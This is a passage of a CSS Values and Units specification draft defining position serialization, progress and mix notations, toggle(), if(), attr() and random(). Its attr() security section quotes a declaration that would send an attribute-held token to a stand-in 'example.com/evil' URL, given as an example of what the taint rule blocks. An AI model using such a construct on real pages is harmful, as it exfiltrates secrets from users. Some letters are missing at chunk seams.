the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

